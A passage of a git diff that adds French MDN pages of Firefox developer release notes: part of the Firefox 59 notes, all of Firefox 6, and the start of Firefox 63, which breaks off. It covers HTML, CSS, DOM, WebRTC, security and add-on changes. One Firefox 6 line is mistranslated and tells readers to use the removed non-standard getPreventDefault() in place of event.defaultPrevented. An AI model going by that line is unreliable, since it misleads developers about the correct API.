  • When a service worker provides a {{domxref("Response")}} to {{domxref("FetchEvent.respondWith()")}}, the {{domxref("Response.url")}} value will not be propagated to the intercepted network request as the final resolved URL.  In the past the {{domxref("Request.url","FetchEvent.request.url")}} was used for this instead.  This means, for example, if a service worker intercepts a stylesheet or worker script, then the provided Response.url will be used to resolve any relative {{cssxref("@import")}} or {{domxref("WorkerGlobalScope.importScripts()","importScripts()")}} subresource loads ({{bug(1222008)}}).
    • +
  • FetchEvent.respondWith() will now trigger a network error if the {{domxref("Request.mode","FetchEvent.request.mode")}} is "same-origin" and the provided {{domxref("Response.type")}} is "cors". ({{bug(1222008)}})
    • +
+ +

Media and WebRTC

+ +
    +
  • The {{domxref("MediaStreamTrack")}} property {{domxref("MediaStreamTrack.muted")}}, along with the events {{event("mute")}} and {{event("unmute")}} and the corresponding event handlers, {{domxref("MediaStreamTrack.onmute", "onmute")}} and {{domxref("MediaStreamTrack.onmute", "onunmute")}}, have been implemented. A track's muted state indicates that the track is not currently able to provide media data. + +
    Note: The muted state of a track isn't useful for what's typically thought of as muting and unmuting a track. Instead, use the {{domxref("MediaStreamTrack.enabled", "enabled")}} property; setting enabled to false causes the track to output only empty frames.
    +
    • +
  • The {{domxref("RTCRtpReceiver")}} methods {{domxref("RTCRtpReceiver.getContributingSources", "getContributingSources()")}} and {{domxref("RTCRtpReceiver.getSynchronizationSources", "getSynchronizationSources()")}} have been implemented to provide information about the sources of each RTP stream. However, a specification change occurred before release and we have disabled these by default behind the preference media.peerconnection.rtpsourcesapi.enable ({{bug(1363667)}}, {{bug(1430213)}}, and {{bug(1433236)}}.
    • +
  • The {{domxref("RTCRtpTransceiver")}} interface has now been implemented, since the Firefox implementation of WebRTC now supports transceivers, with RTCPeerConnection and other interfaces updated to use them per the latest specification.
    • +
  • The {{domxref("RTCPeerConnection.addTransceiver()")}} method has been added. In addition, the behavior of {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} has been updated to create a transceiver as required.
    • +
  • Support for WebVTT regions was implemented in Firefox 58 but disabled by default. They're now available by default ({{bug(1415805)}}).
    • +
  • Firefox now supports WebVTT REGION definition blocks whose settings list has one setting per line instead of all of the settings being on the same line of the WebVTT file ({{bug(1415821)}}.
    • +
+ +

Canvas and WebGL

+ +

No changes.

+ +

CSSOM

+ +

The {{domxref("CSSNamespaceRule")}} interface and its namespaceURL and prefix properties have been implemented ({{bug(1326514)}}).

+ +

HTTP

+ +

No changes.

+ +

Security

+ +
    +
  • Top-level navigation to data: URIs has been blocked {{bug(1401895)}}. See Blocking Top-Level Navigations to data URLs for Firefox 59 for more details.
    • +
  • The SAMEORIGIN directive of the {{httpheader("X-Frame-Options")}} header has been changed so that it checks not only the top-level IFrame is in the same origin, but all its ancestors as well ({{bug(725490)}}).
    • +
  • Image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}). See HTTP auth dialog can no longer be triggered by cross-origin images for more details.
    • +
  • HTTP authentication now uses utf-8 encoding for usernames and passwords (rather than ISO-8859-1) for parity with other browsers, and to avoid potential problems as described in {{bug(1419658)}}.
    • +
  • Everyday the HSTS preload list is updated from Google. Normally this doesn't warrant a note, but in this release new TLDs were included, notably .app and .dev. While they are new TLDs developers might have used them for local development and be surprised by this change. Note that reserved TLDs should be used for local development instead.
    • +
+ +

Plugins

+ +

No changes.

+ +

Other

+ +

No changes.

+ +

Removals from the web platform

+ +

HTML

+ +

The non-standard version parameter of the {{htmlelement("script")}} element's {{htmlattrxref("type","script")}} attribute (e.g.  type="application/javascript;version=1.8") has been removed ({{bug(1428745)}}).

+ +

CSS

+ +
    +
  • The proprietary mozmm {{cssxref("<length>")}} unit has been removed ({{bug(1416564)}}).
    • +
  • The proprietary {{cssxref("-moz-border-top-colors")}}, {{cssxref("-moz-border-right-colors")}}, {{cssxref("-moz-border-bottom-colors")}}, and {{cssxref("-moz-border-left-colors")}} properties have been limited to usage in chrome code only ({{bug(1417200)}}).
    • +
+ +

JavaScript

+ + + +

APIs

+ +
    +
  • The non-standard method Event.getPreventDefault() has been removed. You should instead use the {{domxref("Event.defaultPrevented")}} property to determine whether or not {{domxref("Event.preventDefault", "preventDefault()")}} was called on the {{domxref("Event")}}.
    • +
  • The propretary Navigator.mozNotification property and DesktopNotification interface have been removed, in favor of the standard Notifications API ({{bug(952453)}}).
    • +
  • The proprietary window.external.addSearchEngine() method has been removed ({{bug("862147")}}). Also see {{domxref("Window.sidebar")}} for more details.
    • +
  • The non-standard Firefox-only {{domxref("HTMLMediaElement")}} property mozAutoplayEnabled has been removed.
    • +
+ +

SVG

+ +

Support for SMIL's accessKey feature has been removed ({{bug(1423098)}}).

+ +

Other

+ +

Support for the non-standard pcast: and feed: protocols has been removed from Firefox ({{bug(1420622)}}).

+ +

Changes for add-on and Mozilla developers

+ +

WebExtensions

+ + + +

See also

+ +

Site compatibility for Firefox 59

+ +

Older versions

+ +

{{Firefox_for_developers(58)}}

diff --git a/files/fr/mozilla/firefox/releases/6/index.html b/files/fr/mozilla/firefox/releases/6/index.html new file mode 100644 index 0000000000..2ee16dc40b --- /dev/null +++ b/files/fr/mozilla/firefox/releases/6/index.html @@ -0,0 +1,290 @@ +--- +title: Firefox 6 pour les développeurs +slug: Mozilla/Firefox/Versions/6 +tags: + - Firefox + - Firefox 6 +translation_of: Mozilla/Firefox/Releases/6 +--- +

Firefox 6, basé sur Gecko 6.0, est sorti le 16 août 2011. Cet article fournit des informations à propos des changements qui affectent les développeurs dans cette version.

+ +

Changements pour les développeurs web

+ +

HTML

+ +
    +
  • L'élément HTML5 <progress>, qui vous permet de créer une barre de progression, est maintenant supporté.
    • +
  • L'analyse syntaxique de l'élément HTML5 <track>, qui spécifie les pistes de texte pour les éléments multimédias, est désormais supporté. Cet élément devrait apparaître dans les DOM, si son comportement n'est pas encore implémenté.
    • +
  • L'élément <iframe> est désormais correctement coupé par son conteneur lorsque les coins du conteneur ont été arrondis à l'aide de la propriété border-radius.
    • +
  • Les champs <input> des éléments <form> ne sont plus supportés par la propriété XUL maxwidth, cela n'a jamais été volontaire, et est contraire à la spécification HTML. Vous devriez plutôt utiliser l'attribut size pour définir la largeur maximum de champs de saisie.
    • +
  • Les propriétés fillStyle et strokeStyle de CanvasRenderingContext2d (<canvas>) utilisées pour ignorer les déchets inclus après la définition d'une couleur valide, maintenant c'est traité comme une erreur. Par exemple, "rouge bleu" est une couleur utilisée pour être traitée comme du "rouge", alors qu'elle aurait dû être ignorée.
    • +
  • La largeur et la hauteur des éléments <canvas> peuvent être correctement mis à 0px ; avant, lorsque vous essayez de le faire, elles se fixaient à 300px.
    • +
  • le support de l'attribut HTML des données personnalisées (data-*) a été ajouté. La propriété DOM element.dataset permet d'y accéder.
    • +
  • Quand un élément <textarea> reçoit le focus, le point d'insertion de texte est désormais placé, par défaut, au début du texte plutôt qu'à la fin. Le comportement de Firefox est ainsi conforme avec les autres navigateurs.
    • +
+ +

CSS

+ +
+
-moz-text-decoration-color
+
Cette nouvelle propriété vous permet de définir la couleur utilisée par les décorations du texte, comme le soulignement, le surlignement et le texte barré.
+
-moz-text-decoration-line
+
Cette nouvelle propriété vous permet de définir le type de décorations du texte ajoutée à un élément.
+
-moz-text-decoration-style
+
Cette nouvelle propriété vous permet de définir le style de décorations du texte, comme le soulignement, le surlignement et le texte barré. Les styles incluent les simples lignes, les lignes doubles, les lignes ondulées, les lignes pointillées, etc.
+
-moz-hyphens
+
Cette nouvelle propriété vous permet de contrôler la façon dont la césure des mots lors de retours à la ligne est gérée.
+
-moz-orient
+
Une nouvelle propriété (pour l'instant spécifique à Mozilla) qui vous permet de contrôler l'orientation verticale ou horizontale de certains éléments (en particulier <progress>).
+
::-moz-progress-bar
+
Un pseudo-élément spécifique à Mozilla qui vous permet de définir le style de la zone d'un élément <progress> représentant la fraction d'une tâche.
+
+ +

Autres changements

+ +
    +
  • La propriété @-moz-document a une nouvelle fonction regexp(), qui vous permet d'adapter l'URL du document à une regular expression.
    • +
  • La propriété CSS azimuth n'est plus supportée, comme nous avons enlevé le peu de code que nous avions pour le groupe média aural. Il n'a jamais été implémenté de manière significative, donc il était plus logique de supprimer cette implémentation crufty pour le moment, au lieu d'essayer de le rafistoler.
    • +
  • Avant, la pseudo-classe :hover n'était pas appliquée aux sélecteurs de classe quand on était en mode quirks, par exemple, .someclass:hover ne fonctionne pas. Cette bizarrerie a été enlevée.
    • +
  • La pseudo-classe :indeterminate peut être appliquée à l'élément <progress>. Cela n'est pas un standard, mais nous espérons que ce soit adopté par les autres navigateurs car c'est utile.
    • +
  • La valeur -moz-win-exclude-glass a été ajoutée à la propriété CSS -moz-appearance afin d'exclure des zones opaques dans les effets d'Aero Glass sur les systèmes Windows.
    • +
  • Le bug 658949 change la façon dont le symbole dièse (#) est traité dans les données URI qui peut briser les feuilles de style CSS qui contiennent un tel symbole.
    • +
+ +

DOM

+ +
+
Utilisation de media queries à partir de code
+
Vous pouvez désormais tester le résultat d'une chaîne media query en programmant la méthode window.matchMedia() et l'interface MediaQueryList.
+
Evènements tactile
+
Firefox 6 ajout le support du standard W3C sur les évènements tactile, cela facilite l'interprétation d'une ou plusieurs touches à la fois sur les surfaces tactiles comme les écrans tactiles et pavés tactiles.
+
Evènements server-sent
+
Les évènements server-sent permettent à une application Web de demander à un serveur pour envoyer des événements comme n'importe quel événement DOM localement créé.
+
+ +
    +
  • navigator.securityPolicy, qui a depuis longtemps retourné une chaîne vide, a simplement été supprimé.
    • +
  • BlobBuilder est maintenant implémenté, même si pour l'instant il est préfixé (vous devez utiliser MozBlobBuilder).
    • +
  • document.height et document.width ont été supprimées. bug 585877
    • +
  • Les propriétés entities et notations de l'objet DocumentType, qui n'ont jamais été implémentées et renvoyées toujours null, ont été retirées, car elles ont également été enlevées de la spécification.
    • +
  • L'interface DOMConfiguration et la propriété document.domConfig qu'elle utilisait ont été supprimées, elles n'ont jamais été supportées et ont depuis été retirées de la spécification DOM.
    • +
  • L'évènement hashchange comprend désormais les champs newURL et oldURL.
    • +
  • La méthode abort() de l'interface FileReader retourne maintenant une exception si aucun fichier n'est en cours de lecture lorqu'elle est utilisée.
    • +
  • La méthode window.postMessage() utilise maintenant l'algorithme de clonage structuré pour vous permettre de transmettre d'une fenêtre à une autre des objets JavaScript au lieu de chaînes.
    • +
  • L'API window.history utilise désormais l'algorithme de clonage structuré pour sérialiser des objets que vous passez avec les méthodes pushState() et replaceState(), ce qui vous permet d'utiliser des objets plus complexes (y compris ceux qui contiennent des références de graphes cycliques).
    • +
  • Vous pouvez désormais détecter lorsqu'une impression a été lancée et a été achevée grâce aux nouveaux évènements beforeprint et afterprint.
    • +
  • La propriété document.strictErrorChecking a été supprimée, car elle n'a jamais été implémentée et a été retiré de la spécification DOM.
    • +
  • La propriété standard event.defaultPrevented est maintenant supportée, vous devriez utiliser à la place la méthode non-standard getPreventDefault() pour détecter si event.preventDefault() a été appelée sur l'événement.
    • +
  • La propriété window.top est désormais en lecture seule.
    • +
  • DOM views, which we never documented, have been removed. This was a bit of implementation detail that was unnecessarily complicating things, so we got rid of it. If you notice this change, you're probably doing something wrong.
    • +
  • La fonction EventTarget de la méthode addEventListener() est désormais facultative, car ça l'est dans WebKit (et aussi dans la dernière version de la spécification).
    • +
  • La propriété mozResponseArrayBuffer de l'objet XMLHttpRequest a été remplacé par les propriétés responseType et response.
    • +
  • La propriété element.dataset a été ajoutée à l'interface HTMLElement permettant d'accéder aux attributs globaux data-* global attributes d'un élément.
    • +
  • L'interface CustomEvent a été implémentée. (voir bug 427537)
    • +
  • Pour des raisons de sécurité, les URIs data: et javascript: n'héritent plus de l'environnment de sécurité de la page active lorsque l'utilisateur les saisit dans la barre d'adresse, mais un nouvel environnment de sécurité vide est créé. Par exemple, le script chargé en entrant l'URI javascript: dans la barre d'adresse n'a plus accès aux méthodes DOM et similaires. Ces URIs continueront à travailler comme avant lorsqu'elles sont utilisées par le script.
    • +
+ +

JavaScript

+ +
    +
  • Avant, il était possible d'utiliser l'opérateur new sur plusieurs fonctions natives (eval, parseInt, Date.parse, etc) ce qui, conformément à la spécification, n'était pas autorisé. Désormais ce comportement n'est plus supporté. Cette façon d'utiliser l'opérateur new n'a jamais été officiellement supportée et était peu utilisée, donc il est peu probable que ce changement vous affecte.
    • +
  • ECMAScript Harmony WeakMaps a été ajouté en tant que prototype.
    • +
+ +

SVG

+ +
    +
  • L'attribut pathLength est désormais supporté.
    • +
  • Les modèles SVG, les dégradés et les filtres fonctionnent désormais correctement lorsqu'ils sont chargés à partir de data: URLs.
    • +
+ +

MathML

+ +
    +
  • L'implémentation de <mstyle> a été corrigée.
    • +
+ +

Accessibilité (ARIA)

+ +
    +
  • Un événement de changement d'état est à présent correctement envoyé lors d'un changement de la valeur de aria-busy.
    • +
  • Un événement de changement d'attribut est à présent correctement envoyé lorsque survient aria-sort.
    • +
+ +

Réseau

+ +
+
WebSockets
+
Pour Firefox 6, WebSockets a été mis à jour à la version 07 du protocole. De plus, l'objet WebSocket a été renommé en MozWebSocket pour l'empêcher d'être utilisé de façon incorrecte pour détecter la disponibilité des WebSockets sans préfixe.
+
+ +
    +
  • L'analyse de l'en-tête Content-Disposition a été fixée afin d'interpréter correctement les antislashs des caractères ASCII. Auparavant, il été remplacé par le caractère underscore ("_").
    • +
  • La valeur du champ du chemin de l'en-tête Set-Cookie est désormais correctement interprétée lors de l'utilisation de guillements, auparavant, ils étaient considérés comme faisant partie de la chaîne du chemin d'accès à la place d'être des délimiteurs. Ce changement peut affecter la compatibilité avec certains sites web, les auteurs doivent vérifier leur code.
    • +
  • L'en-tête de la requête Upgrade est désormais supporté, vous pouvez demander la mise à niveau d'un canal vers un autre protocole HTTP en appelant nsIHttpChannelInternal.HTTPUpgrade().
    • +
+ +

Autres changements

+ +
    +
  • Le support des microrésumés a été enlevé, ils n'ont jamais été très utilisés, n'étaient pas très détectable et continuer leur support été d'apporter des améliorations à Places (favoris et historique) à l'architecture difficile.
    • +
  • WebGL supporte maintenant l'extension OES_texture_float.
    • +
  • Le nouvel outil Ardoise offre un endroit pratique pour expérimenter du code JavaScript.
    • +
  • La méthode console.trace() a été ajouté à ConsoleAPI (voir bug 585956).
    • +
+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Pour des conseils utiles sur la mise à jour des extensions pour Firefox 6, voir Updating add-ons for Firefox 6.

+ +
Note: Firefox 6 requiert que les composants binaires soient recompilés, comme pour toutes les versions majeures de Firefox. Pour plus de détails, voir Interfaces Binaires.
+ +

Modules de code JavaScript

+ +

FileUtils.jsm

+ +
    +
  • La méthode openSafeFileOutputStream() ouvre maintenant les fichiers avec l'indicateur de comportement DEFER_OPEN au lieu d'essayer de les ouvrir immédiatement.
    • +
+ +

XPCOMUtils.jsm

+ +
    +
  • La nouvelle méthode importRelative() vous permet de charger un module de code JavaScript depuis un chemin relatif au chemin d'un autre module de code JavaScript. Cela rend plus facile la construction de modules qui dépendent les uns des autres.
    • +
+ +

XPCOM

+ + + +

Utilisation du DOM depuis le chrome

+ +
+
Utilisation de l'API DOM File dans du code chrome
+
Bien que vous avez toujours pu utiliser l'API DOM File à partir du code chrome, le constructeur File supporte désormais la spécification d'un chemin d'accès local lorsqu'il est utilisé depuis le chrome. De plus, vous pouvez également spécifier le fichier pour accéder à l'aide de l'API DOM File en utilisant un objet nsIFile.
+
+ +

Changements dans les interfaces

+ +
    +
  • nsINavHistoryQueryOptions supporte désormais le tri par orde de frecency à l'aide des nouvelles constantes SORT_BY_FRECENCY_ASCENDING et SORT_BY_FRECENCY_DESCENDING.
    • +
  • nsIFilePicker a un nouvel attribut nsIFilePicker.addToRecentDocs, qui vous permet d'indiquer que le fichier sélectionné doit être ajoutée à la liste "documents récents" de l'utilisateur si il y en a une. Cet attribut n'a aucun effet en mode navigation privée.
    • +
  • Les méthodes de nsINavBookmarkObserver avec les paramètres ID d'un élément exigent désormais un GUID.
    • +
  • nsIPrefBranch.clearUserPref() ne génère plus d'exception si la préférence spécifié n'existe pas ou n'a pas de valeur définie par l'utilisateur. Désormais, il ne fait rien.
    • +
  • L'interface nsIMemoryReporter prend désormais en charge l'indication du type de mémoire qui est décrite (mappée, heap, ou autre).
    • +
  • L'attribut stateData de nsISHEntry renvoi désormais à nsIStructuredCloneContainer.
    • +
  • nsIURI a un nouvel attribut nsIURI.ref, qui renvoie la partie de référence (la partie après le "#") de l'URI. Il y a également de nouvelles méthodes nsIURI.cloneIgnoringRef() qui clone nsIURI sans l'élément ref et nsIURI.equalsExceptRef() qui se compare à un autre nsIURI en ignorant l'élément ref.
    • +
+ +

Nouvelles interfaces

+ +
+
mozIAsyncFavicons
+
Un nouveau service qui vous permet d'accéder au service favicon de façon asynchrone.
+
nsIEventSource
+
Détails à venir.
+
nsIGSettingsCollection
+
Détails à venir.
+
nsIGSettingsService
+
Détails à venir.
+
nsIHttpUpgradeListener
+
L'interface de rappel pour le traitement des demandes de mise à niveau HTTP via la méthode nsIHttpChannelInternal.HTTPUpgrade().
+
nsIStructuredCloneContainer
+
Un conteneur pour les objets qui ont été sérialisé à l'aide de l'algorithme de clonage structuré.
+
nsITelemetry
+
Implémentation du support de la télémétrie permettant d'enregistrer des données de télémétrie pour être utilisé pour présenter des histogrammes à des fins de suivi des performances. Voir bug 649502 et bug 585196.
+
nsITimedChannel
+
Voir bug 576006.
+
nsIWebSocketListener
+
Voir bug 640003.
+
nsIWebSocketProtocol
+
Voir bug 640003.
+
+ +

Interfaces supprimées

+ +

Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables :

+ + + +

Autres changements

+ +
+
Utilisation des préférences à partir du code d'application
+
Une nouvelle API statique est disponible pour accéder facilement aux préférences, ce n'est disponible que pour le code d'application et ne peut pas être utilisé par les modules complémentaires.
+
+ +

Voir également

+ +
+ +
diff --git a/files/fr/mozilla/firefox/releases/63/index.html b/files/fr/mozilla/firefox/releases/63/index.html new file mode 100644 index 0000000000..06ad714a2a --- /dev/null +++ b/files/fr/mozilla/firefox/releases/63/index.html @@ -0,0 +1,275 @@ +--- +title: Firefox 63 for developers +slug: Mozilla/Firefox/Versions/63 +tags: + - '63' + - Firefox + - Mise à jour + - Mozilla +translation_of: Mozilla/Firefox/Releases/63 +--- +
{{FirefoxSidebar}}
+ +

Cet article fournit des informations à propos des changements dans Firefox 63 qui affecteront les développeurs. Firefox 63 a été publié le 23 octobre 2018.

+ +

Changements pour les développeurs web

+ +

Outils de développeurs

+ +
    +
  • L'onglet Polices dans la page de l'Inspecteur inclus maintenant un éditeur facilitant la visualisation et l'édition des paramètres des polices sur votre page. Voir l'édition des polices pour plus d'informations.
    • +
  • L'Inspecteur d'Accessibilité est maintenant activé par défaut ({{bug(1482454)}}).
    • +
  • Lorsque vous survolez un objet dans l'Inspecteur d'Accessibilité, l'élément est mis en évidence et son rôle et nom seront affichés dans une barre d'information dans la page ({{bug(1473030)}}).
    • +
  • La ligne de commande dans la Console Web est maintenant immédiatement affichée après le flux de sortie de la console ({{bug(1136299)}}).
    • +
  • Une nouvelle icône a été ajouté au contenu dans le Moniteur Réseau indiquant si une URL appartient à un trackeur connu — voir les Icônes de Sécurité ({{bug(1333994)}}).
    • +
  • La valeur par défaut de devtools.aboutdebugging.showSystemAddons est maintenant false, ce qui signifie que le système d'add-ons ne sera plus listé dans la page about:debugging. Vous pouvez changer les paramètres en vous rendant sur la page about:config ({{bug(1425347)}}).
    • +
  • La barre d'outils du Mode Responsive Design a été simplifiée, et nous avons ajouté une option pour aligner la vue à gauche.
    • +
  • L'Inspecteur inclus un lien vers la définition de la classe pour un élément personnalisé. ({{bug(1443923)}}).
    • +
+ +

HTML

+ +
    +
  • Ajout du support pour l'attribut decoding de l'élément {{HTMLElement("img")}} ({{bug(1416328)}}); Voir aussi {{DOMxRef("HTMLImageElement.decoding")}}.
    • +
+ +

Suppressions

+ +
    +
  • Le lien de type sidebar (rel="sidebar") n'est plus supporté. Si une ancre contient cet attribut, elle sera ignorée ({{bug(1452645)}}).
    • +
+ +

CSS

+ +
    +
  • Support for the {{CSSxRef(":defined")}} pseudo-class has been added ({{bug(1331334)}}).
    • +
  • Support for {{CSSxRef("row-gap")}}, {{CSSxRef("column-gap")}} and {{CSSxRef("gap")}} has been added in Flexbox layout ({{bug(1398483)}}).
    • +
  • Re-enabled support for webkit-prefixed pixel-density @media queries ({{bug(1444139)}}).
    • +
  • Support added for the CSS Flexible Box Layout (Flexbox) properties {{CSSxRef("align-self")}}, {{CSSxRef("align-content")}}, and {{CSSxRef("align-items")}} as well as the {{CSSxRef("justify-content")}} property ({{bug(1472843)}}).
    • +
  • Implemented the path() function for {{CSSxRef("offset-path")}} ({{bug(1429298)}}).
    • +
  • Implemented syntax improvements from the Media Queries Level 4 specification ({{bug(1472843)}}).
    • +
  • Renamed offset-* properties to {{CSSxRef("inset-block-start")}}, {{CSSxRef("inset-block-end")}}, {{CSSxRef("inset-inline-start")}}, and {{CSSxRef("inset-inline-end")}} ({{bug(1464782)}}).
    • +
  • Added support for the prefers-reduced-motion media feature ({{bug(1365045)}}, {{bug(1475462)}}).
    • +
  • Added flow relative values (block, inline) for the {{CSSxRef("resize")}} property ({{bug(1464786)}}).
    • +
  • Implemented flexbox layout for safe & unsafe values in {{CSSxRef("align-self")}}, {{CSSxRef("align-content")}}, and {{CSSxRef("justify-content")}} ({{bug(1297774)}}).
    • +
  • The logical properties (where appropriate) are now animatable ({{bug(1309752)}}).
    • +
+ +

Suppressions

+ +
    +
  • Removed offset-block-start, offset-block-end, offset-inline-start and offset-inline-end; these have been renamed to inset-*, as described above ({{bug(1464782)}}).
    • +
+ +

SVG

+ +

Aucun changement.

+ +

JavaScript

+ +
    +
  • The {{JSxRef("Symbol.prototype.description")}} property has been implemented ({{bug(1472170)}}).
    • +
  • The {{JSxRef("Object.fromEntries()")}} method has been added ({{bug(1469019)}}).
    • +
  • When you try to access a property of an undefined object, the error message is now much improved. Considering the case where x is undefined and you try to access x.y, instead of TypeError: x is undefined the console now returns the more descriptive x is undefined; can't access its "y" property ({{bug(1259822)}}).
    • +
+ +

Suppressions

+ +
    +
  • Experimental WebAssembly Module IndexedDB serialization support has been removed ({{bug(1469395)}}).
    • +
+ +

APIs

+ +

Nouvelles APIs

+ +
    +
  • The Shadow DOM ({{bug(1471947)}}) and Custom Elements ({{bug(1471948)}}) APIs have been enabled by default; See Web components for more details.
    • +
  • The {{domxref("Media_Capabilities_API", "Media Capabilities API", "", "1")}} been implemented ({{bug(1409664)}}).
    • +
  • The {{domxref("Clipboard", "Async Clipboard API", "", "1")}} has been implemented and enabled by default for all channels ({{bug(1461465)}}). As is the case with Chrome, Firefox currently implements only the {{domxref("Clipboard.writeText", "writeText()")}} and {{domxref("Clipboard.readText", "readText()")}} methods; however, unlike Chrome, readText() is only available in browser extensions.
    • +
  • The {{DOMxRef("SecurityPolicyViolationEvent")}} interface is now supported. It allows sending events when the {{HTTPHeader("Content-Security-Policy")}} is violated ({{bug(1472661)}}).
    • +
+ +

DOM

+ +
    +
  • The following portions of the {{domxref("Web_Animations_API", "Web Animations API", "", "1")}} have been enabled by default (see {{bug(1476158)}}): +
      +
    • The {{DOMxRef("Animation")}} properties {{DOMxRef("Animation.ready", "ready")}} and {{DOMxRef("Animation.finished", "finished")}}, specifying the Animation object's ready and finished {{JSxRef("Promise")}}s.
      • +
    • The {{DOMxRef("Animation")}} object's {{DOMxRef("Animation.effect", "effect")}} property.
      • +
    • The interfaces {{DOMxRef("KeyframeEffect")}} and {{DOMxRef("AnimationEffect")}}.
      • +
    +
    • +
  • The {{DOMxRef("Element.toggleAttribute()")}} method has been implemented ({{bug(1469592)}}).
    • +
  • The historical, previously non-standard, {{DOMxRef("Event.returnValue")}} property is now supported for compatibility purposes ({{bug(1452569)}}).
    • +
  • We implemented the {{DOMxRef("Window.event")}} property to improve web compatibility, now that it's become standard ({{bug(218415)}}).
    • +
  • To bring Firefox into alignment with Edge and Chrome, the {{DOMxRef("NavigatorID.platform", "navigator.platform")}} property now returns "Win32" even when running on 64-bit Windows ({{bug(1472618)}}).
    • +
  • Prior to Firefox 63, links that open new windows that had rel="noopener", as well as calls to {{DOMxRef("Window.open()")}} with the noopener window feature enabled would default to having all window features disabled, so that you had to explicitly re-enable any standard features you wanted. Now these windows have the same set of features enabled as any other window, and you need to explicitly turn off any you don't want ({{bug(1419960)}}).
    • +
+ +

Evénements du DOM

+ +
    +
  • Handling of the Alt key on the right side of the keyboard has been improved on Windows. If the user's current keyboard layout maps the Alt key to the AltGr modifier key, the value of {{DOMxRef("KeyboardEvent.key")}} is now reported as "AltGraph". This behavior matches the behavior recently introduced in Chrome ({{bug(900750)}}).
    • +
+ +

Media, Web Audio, et WebRTC

+ +
    +
  • Microphone access now works simultaneously in multiple tabs, even within the same content process ({{bug(1404977)}}).
    • +
  • {{DOMxRef("RTCDataChannel")}} has been updated to support the sctp-sdp-21 data format for the data, in addition to the older sctp-sdp-05 format previously supported.
    • +
  • The {{DOMxRef("ConstantSourceNode")}} node type for Web Audio API now has a default channel count of 2 rather than 1, in order to match the specification ({{bug(1413283)}}).
    • +
  • The {{domxref("Web_Audio_API", "Web Audio API", "", "1")}} interface {{DOMxRef("AudioScheduledSourceNode")}} (and by extension, all the other node types based on it) now throw the correct exception when a negative value is specified for the node start time. That error is RangeError ({{bug(1413284)}}).
    • +
  • The minimum and maximum permitted values for an {{DOMxRef("AudioParam")}} object's {{DOMxRef("AudioParam.value", "value")}} have been changed to the minimum negative single-precision floating-point value (-340,282,346,638,528,859,811,704,183,484,516,925,440) and the maximum positive single-precision floating-point value (+340,282,346,638,528,859,811,704,183,484,516,925,440) respectively ({{bug(1476695)}}).
    • +
  • The {{DOMxRef("SourceBuffer.changeType")}} method, which allows you to change codecs during an active stream, has been enabled by default. This is part of the {{domxref("Media_Source_Extensions_API", "Media Source Extensions API", "", "1")}} ({{bug(1481166)}}).
    • +
  • The {{DOMxRef("AudioParam.setValueCurveAtTime()")}} method has been updated to correctly accept an array of floating-point values to indicate the parameter's values to change to over time. Previously, it required a {{DOMxRef("Float32Array")}} ({{bug(1421091)}}).
    • +
  • {{DOMxRef("AudioParam.setValueCurveAtTime()")}} has also been updated to correctly return a proper TypeError when a non-finite value is found in the values array ({{bug(1472095)}}).
    • +
  • In addition, setValueCurveAtTime() has been updated to ensure that, when the parameter finishes following the specified value curve after the duration elapses, the value of the parameter is set to the last value in the list of values to curve through ({{bug(1308436)}}).
    • +
  • The RTCRTPStreamStats dictionary has been renamed to {{DOMxRef("RTCRtpStreamStats")}} for consistency with other WebRTC dictionaries and the specification ({{bug(1480498)}}).
    • +
  • Support for the RTCRtpStreamStats dictionary's {{DOMxRef("RTCRtpStreamStats.kind", "kind")}} property has been added ({{bug(1481851)}}).
    • +
  • The {{DOMxRef("RTCRtpStreamStats")}} dictionary's {{DOMxRef("RTCRtpStreamStats.isRemote", "isRemote")}} property is deprecated and will be removed in Firefox 65. A warning is now output to console when this property is accessed. See this blog post on the Advancing WebRTC blog for details ({{bug(1393306)}}).
    • +
+ +

Canvas et WebGL

+ +
    +
  • A new powerPreference context attribute has been added to {{DOMxRef("HTMLCanvasElement.getContext()")}}. On macOS this allows WebGL non-performance-critical applications and applets to request the low-power GPU instead of the high-power GPU in multi-GPU systems ({{bug(1349799)}}).
    • +
+ +

Suppressions

+ +
    +
  • The obsolete and non-standard Firefox-only methods {{DOMxRef("Window.back()")}} and {{DOMxRef("Window.forward()")}} have been removed. Please use the {{DOMxRef("History.back", "window.history.back()")}} and {{DOMxRef("History.forward", "window.history.forward()")}} methods instead ({{bug(1479486)}}).
    • +
  • The {{DOMxRef("URL.createObjectURL", "createObjectURL()")}} and {{DOMxRef("URL.revokeObjectURL", "revokeObjectURL()")}} methods are no longer available on {{DOMxRef("ServiceWorker")}} instances due to the potential they introduced for memory leaks to occur ({{bug(1264182)}}).
    • +
  • Since it was deprecated in the specification anyway, the limited support for Doppler effects on {{DOMxRef("PannerNode")}} has been removed from the Web Audio API. The {{DOMxRef("AudioListener")}} properties {{DOMxRef("AudioListener.dopplerFactor", "dopplerFactor")}} and {{DOMxRef("AudioListener.speedOfSound", "speedOfSound")}} have been removed, along with the PannerNode method {{DOMxRef("PannerNode.setVelocity", "setVelocity()")}} ({{bug(1148354)}}).
    • +
+ +

CSSOM

+ +

Aucun changement.

+ +

HTTP

+ +
    +
  • The {{HTTPHeader("Clear-Site-Data")}} header is implemented and no longer behind a preference ({{bug(1470111)}}).
    • +
+ +

Sécurité

+ +
    +
  • Site favicons are now subject to Content Security Policy, if one is configured for the site ({{bug(1297156)}}).
    • +
  • CSP script-src directive's 'report-sample' expression now recognized when generating violation reports. This directive indicates that a short sample of where the violation occurred should be included in the report. Previously, Firefox always included this sample ({{bug(1473218)}}).
    • +
  • Firefox now uses NSS 3.39 ({{bug(1470914)}}).
    • +
+ +

Plugins

+ +

Aucun changement.

+ +

Conformités WebDriver (Marionette)

+ +

Nouvelles fonctionnalités

+ +
    +
  • Marionette now returns a setWindowRect capability in the WebDriver:NewSession response that is true if the browser window can be repositioned and resized, which e.g. is the case for Firefox but not any mobile applications ({{bug(1470659)}}).
    • +
  • Added support for the unhandledPromptBehavior capability, which allows to define a specific prompt behavior of the WebDriver specification ({{bug(1264259)}}).
    • +
  • Handling of user prompts has been added to the WebDriver:ExecuteScript and WebDriver:ExecuteAsyncScript commands ({{bug(1439995)}}).
    • +
+ +

Changements API

+ +
    +
  • Deprecated command end-points without the WebDriver: prefix have been removed ({{bug(1451725)}}).
    • +
  • The WebDriver:NewSession command returns recommended strings (linux, mac, windows) for platformName as defined in the WebDriver specification ({{bug(1470646)}}).
    • +
+ +

Corrections de bugs

+ +
    +
